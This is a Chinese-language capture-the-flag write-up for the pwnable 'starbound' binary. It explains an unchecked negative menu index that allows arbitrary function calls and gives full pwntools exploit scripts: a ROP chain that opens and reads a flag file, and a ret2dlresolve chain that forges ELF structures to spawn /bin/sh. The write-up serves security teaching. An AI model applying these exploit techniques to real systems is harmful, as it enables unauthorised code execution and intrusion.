1 程序分析

32 位,没开 PIE

1
2
3
4
5
6
7
8
9
(pwn)secreu@Vanilla:~/code/pwnable/starbound$ checksec --file=starbound
[*] '/home/secreu/code/pwnable/starbound/starbound'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
FORTIFY: Enabled
Stripped: No

一个小游戏,看起来很复杂

init 函数最后的 cmd_go_backshow_main_menu 函数的地址存放在了 .bss:0805817C 上,所以该地址其实是一个 hook,将其命名为 show_options_hook,在 main 函数中会循环调用之,用来展示不同的菜单选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
void init()
{
int v0; // ebx
char *v1; // ebx
int v2; // eax
unsigned int seed[4]; // [esp+1Ch] [ebp-10h] BYREF

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
signal(14, do_afk);
puts("[Info] Landing ...");
usleep(0x7A120u);
v0 = open("/dev/urandom", 0);
read(v0, seed, 4u);
close(v0);
srand(seed[0]);
me = seed[0];
init_map();
dword_8057F88 = rand() % dword_8057F84;
dword_8057F8C = 0;
dword_8057F90 = 100;
dword_8057F94 = 0;
v1 = getenv("REMOTE_HOST");
if ( !v1 )
v1 = "127.0.0.1";
cp = (char *)malloc(strlen(v1) + 1);
fd = -1;
dword_80580CC = 0;
strcpy(cp, v1);
v2 = rand();
__strcpy_chk(player_name, name_list[v2 % 2826], 128);
cmd_view();
cmd_go_back();
}

void cmd_go_back()
{
show_options_hook = show_main_menu;
}

main 函数循环处理请求,先从 show_options_hook 取出函数执行,最开始是 show_main_menu,展示完菜单选项后,会对 .bss:08058154 开始的连续地址存放不同选项对应的函数,所以这里也是一个 hook,命名为 cmd_options_hook,回到 main 中就会根据输入的 index 选择选项函数执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char nptr[256]; // [esp+10h] [ebp-104h] BYREF

init();
while ( 1 )
{
alarm(0x3Cu);
show_options_hook();
if ( !readn(nptr, 0x100u) )
break;
v3 = strtol(nptr, 0, 10);
if ( !v3 )
break;
((void (*)(void))cmd_options_hook[v3])();
}
do_bye();
return 0;
}

int show_main_menu()
{
int result; // eax

puts("\n-+STARBOUND v1.0+-");
puts(" 0. Exit");
puts(" 1. Info");
puts(" 2. Move");
puts(" 3. View");
puts(" 4. Tools");
puts(" 5. Kill");
puts(" 6. Settings");
puts(" 7. Multiplayer");
__printf_chk(1, "> ");
for ( result = 0; result <= 9; ++result )
cmd_options_hook[result] = (int)cmd_nop;
dword_8058158 = (int)cmd_info;
dword_805815C = (int)cmd_move;
dword_8058160 = (int)cmd_view;
dword_8058164 = (int)cmd_build;
dword_8058168 = (int)cmd_kill;
dword_805816C = (int)cmd_settings;
dword_8058170 = (int)cmd_multiplayer;
return result;
}

漏洞点很明显,在 main 函数读取 index 时没有检查其是否大于 0,所以我们可以输入一个负数让其执行 .bss:08058154 往上的地址上存放的函数地址,恰好上面 .bss:080580D0 处是 palyer name 的存放位置,它们之间的差距是 (int)(0x8058154 - 0x80580D0) = -33

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.bss:080580D0 ; char player_name[128]
.bss:080580D0 player_name db 80h dup(?) ; DATA XREF: do_afk+3↑o
.bss:080580D0 ; init+1A8↑o ...
.bss:08058150 dword_8058150 dd ? ; DATA XREF: cmd_view+4F↑r
.bss:08058150 ; init_map+A8↑w ...
.bss:08058154 ; int cmd_options_hook[]
.bss:08058154 cmd_options_hook dd ? ; DATA XREF: show_main_menu:loc_8048DEF↑w
.bss:08058154 ; show_multiplayer_menu:loc_8048EBE↑w ...
.bss:08058158 dword_8058158 dd ? ; DATA XREF: show_main_menu+9D↑w
.bss:08058158 ; show_multiplayer_menu+85↑w ...
.bss:0805815C dword_805815C dd ? ; DATA XREF: show_main_menu+A7↑w
.bss:0805815C ; show_multiplayer_menu+8F↑w ...
.bss:08058160 dword_8058160 dd ? ; DATA XREF: show_main_menu+B1↑w
.bss:08058160 ; show_multiplayer_menu+99↑w ...
.bss:08058164 dword_8058164 dd ? ; DATA XREF: show_main_menu+BB↑w
.bss:08058164 ; show_multiplayer_menu+A3↑w ...
.bss:08058168 dword_8058168 dd ? ; DATA XREF: show_main_menu+C5↑w
.bss:08058168 ; show_multiplayer_menu+AD↑w
.bss:0805816C dword_805816C dd ? ; DATA XREF: show_main_menu+CF↑w
.bss:08058170 dword_8058170 dd ? ; DATA XREF: show_main_menu+D9↑w

我们可以通过 6. Settings -> 2. Name 来写 palyer name

1
2
3
4
5
6
7
8
9
int cmd_set_name()
{
int result; // eax

__printf_chk(1, "Enter your name: ");
result = readn(player_name, 0x64u);
*(_BYTE *)(result + 134578383) = 0;
return result;
}

这样就拿到一个任意地址执行

2 漏洞利用

我们要利用 set player name 和执行负数 index 的选项实现任意地址执行

1
2
3
4
5
6
7
8
def set_name(name):
io.sendlineafter(b"> ", b"6")
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"Enter your name: ", name)
io.sendlineafter(b"> ", b"1")

def call_option(index):
io.sendlineafter(b"> ", index)

但是我们仅仅这样不能控制参数,因为 main 函数调用 cmd_options_hook[index] 时没有传参

这里找到一个 gadget,可以跳到栈上执行 ROP

1
0x08048e48 : add esp, 0x1c ; ret

具体来说,我们往 player name 写入 0x08048e48,在读取 index 的时候输入 -33main 函数就会 call [player name],也就是跳到 0x08048e48 执行 add esp, 0x1c ; ret

call_name

执行 add esp, 0x1c 后,esp 恰好落入 main 函数读取 index 的缓冲区 nptr 中,即 nptr + 0x8

add_esp

这样我们只要在发送 index 时顺带发送 ROP 链即可

1
2
3
4
5
6
7
8
9
10
11
12
add_esp_ret = 0x08048e48 # add esp, 0x1c ; ret
name = p32(add_esp_ret)

cmd_options_hook_addr = 0x8058154
name_addr = 0x80580D0
index = (name_addr - cmd_options_hook_addr) // 4

rop_chain = b''
paylaod = str(index).encode().ljust(0x8, b"\x00") + rop_chain

set_name(name)
call_option(payload)

2.1 ORW

利用任意地址执行,布置 ROP 链执行 ORW

32 位通过栈传参,而返回地址紧跟在要要执行的 gadget 后面,执行完 open 后无法为紧跟的 read 准备参数,所以我们无法连续执行 openreadwrite

这里采用 open -> main -> read -> main -> write 的方式完成 ORW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def exploit_orw():
add_esp_ret = 0x08048e48 # add esp, 0x1c ; ret
file_path = b"./flag\x00"
# file_path = b"/home/starbound/flag\x00"
name = p32(add_esp_ret) + file_path

cmd_options_hook_addr = 0x8058154
name_addr = 0x80580D0
index = (name_addr - cmd_options_hook_addr) // 4

main = 0x804A605
open = elf.plt["open"]
read = elf.plt["read"]
write = elf.plt["write"]
file_path_addr = name_addr + 4

orw_open = p32(open) + p32(main) + p32(file_path_addr) + p32(0)
payload = str(index).encode().ljust(0x8, b"\x00") + orw_open
set_name(name)
call_option(payload)

orw_read = p32(read) + p32(main) + p32(3) + p32(file_path_addr + 0x20) + p32(0x100)
payload = str(index).encode().ljust(0x8, b"\x00") + orw_read
set_name(name)
call_option(payload)

orw_write = p32(write) + p32(main) + p32(1) + p32(file_path_addr + 0x20) + p32(0x100)
payload = str(index).encode().ljust(0x8, b"\x00") + orw_write
set_name(name)
call_option(payload)

io.interactive()

2.2 Ret2dlresolve

没有 system 函数可以通过 ret2dl 解析出 system 地址再调用即可

ret2dl 简单来说就是模拟第一次 call got 表上的函数,dl 解析函数地址的过程,我们主动准备好需要的结构体,然后去调用 plt[0] 即可

我们利用设置 player name 往 bss 段上布置伪造的结构体。这里要注意 32 位的相关结构体和 64 位有区别,我们直接照抄 IDA 上的就可以,同时还要注意计算好偏移和索引

ELF Symbol Table

1
2
3
4
5
6
7
8
9
10
11
LOAD:080481DC ; ELF Symbol Table
LOAD:080481DC Elf32_Sym <0>
LOAD:080481EC Elf32_Sym <offset aMd5Init - offset byte_80484FC, 0, 0, 12h, 0, 0> ; "MD5_Init"
LOAD:080481FC dd offset aSrand - offset byte_80484FC; st_name ; "srand"
LOAD:08048200 dd 0 ; st_value
LOAD:08048204 dd 0 ; st_size
LOAD:08048208 db 12h ; st_info
LOAD:08048209 db 0 ; st_other
LOAD:0804820A dw 0 ; st_shndx
LOAD:0804820C Elf32_Sym <offset aOpen - offset byte_80484FC, 0, 0, 12h, 0, 0> ; "open"
LOAD:0804821C Elf32_Sym <offset aConnect - offset byte_80484FC, 0, 0, 12h, 0, 0> ; "connect"

ELF JMPREL Relocation Table

1
2
3
4
5
6
7
LOAD:080487C8 ; ELF JMPREL Relocation Table
LOAD:080487C8 Elf32_Rel <805500Ch, 107h> ; R_386_JMP_SLOT MD5_Init
LOAD:080487D0 dd 8055010h ; r_offset ; R_386_JMP_SLOT srand
LOAD:080487D4 dd 207h ; r_info
LOAD:080487D8 dd 8055014h ; r_offset ; R_386_JMP_SLOT open
LOAD:080487DC dd 307h ; r_info
LOAD:080487E0 Elf32_Rel <8055018h, 407h> ; R_386_JMP_SLOT connect

最后还是跳到栈上执行 ROP
这一段代码的含义就是执行 plt[0],后面的 p32(fake_relplt_offset) 是模拟 dl 解析前 plt[n] 压进栈的参数,p32(0)system 的返回地址,p32(binsh) 是参数

1
payload = str(index).encode().ljust(0x8, b"\x00") + p32(plt) + p32(fake_relplt_offset) + p32(0) + p32(binsh)

完整 exp 如下,这个我只在本地跑成功了,远端没有打通,不知道为什么也懒得再去折腾了。

对了这里 fake_dynsym_index 会影响 __dl_fixup 解析 ELF GNU Symbol Version Table,他要求命中的地方的内容,经过一定的变换是一个可访问的地址,如果这里出错就给 fake_dynsym 挪一挪位置吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def exploit_ret2dl():
add_esp_ret = 0x08048e48 # add esp, 0x1c ; ret
plt = elf.get_section_by_name(".plt").header.sh_addr

cmd_options_hook_addr = 0x8058154
name_addr = 0x80580D0
index = (name_addr - cmd_options_hook_addr) // 4

dynstr_addr = elf.get_section_by_name(".dynstr").header.sh_addr
fake_dynstr_addr = name_addr + 0x4
fake_dynstr_offset = fake_dynstr_addr - dynstr_addr
fake_dynstr = b"system".ljust(0x8, b"\x00")

fake_got_system_addr = name_addr + 0xc
fake_got_system = p32(0)

dynsym_addr = elf.get_section_by_name(".dynsym").header.sh_addr
fake_dynsym_addr = name_addr + 0x1c
fake_dynsym_index = (fake_dynsym_addr - dynsym_addr) // 0x10
fake_dynsym = p32(fake_dynstr_offset) + p32(0) + p32(0) + p8(0x12) + p8(0) + p16(0)


relplt_addr = elf.get_section_by_name(".rel.plt").header.sh_addr
fake_relplt_addr = name_addr + 0x10
fake_relplt_offset = fake_relplt_addr - relplt_addr
fake_relplt = p32(fake_got_system_addr) + p32(fake_dynsym_index << 8 | 0x7)

name = p32(add_esp_ret) # 0x0
name += fake_dynstr # 0x4
name += fake_got_system # 0xc
name += fake_relplt # 0x10
name += p32(0) # 0x18 padding 4
name += fake_dynsym # 0x1c
name += b"/bin/sh\x00" # 0x2c

binsh = name_addr + 0x2c
payload = str(index).encode().ljust(0x8, b"\x00") + p32(plt) + p32(fake_relplt_offset) + p32(0) + p32(binsh)

set_name(name)

call_option(payload)

io.interactive()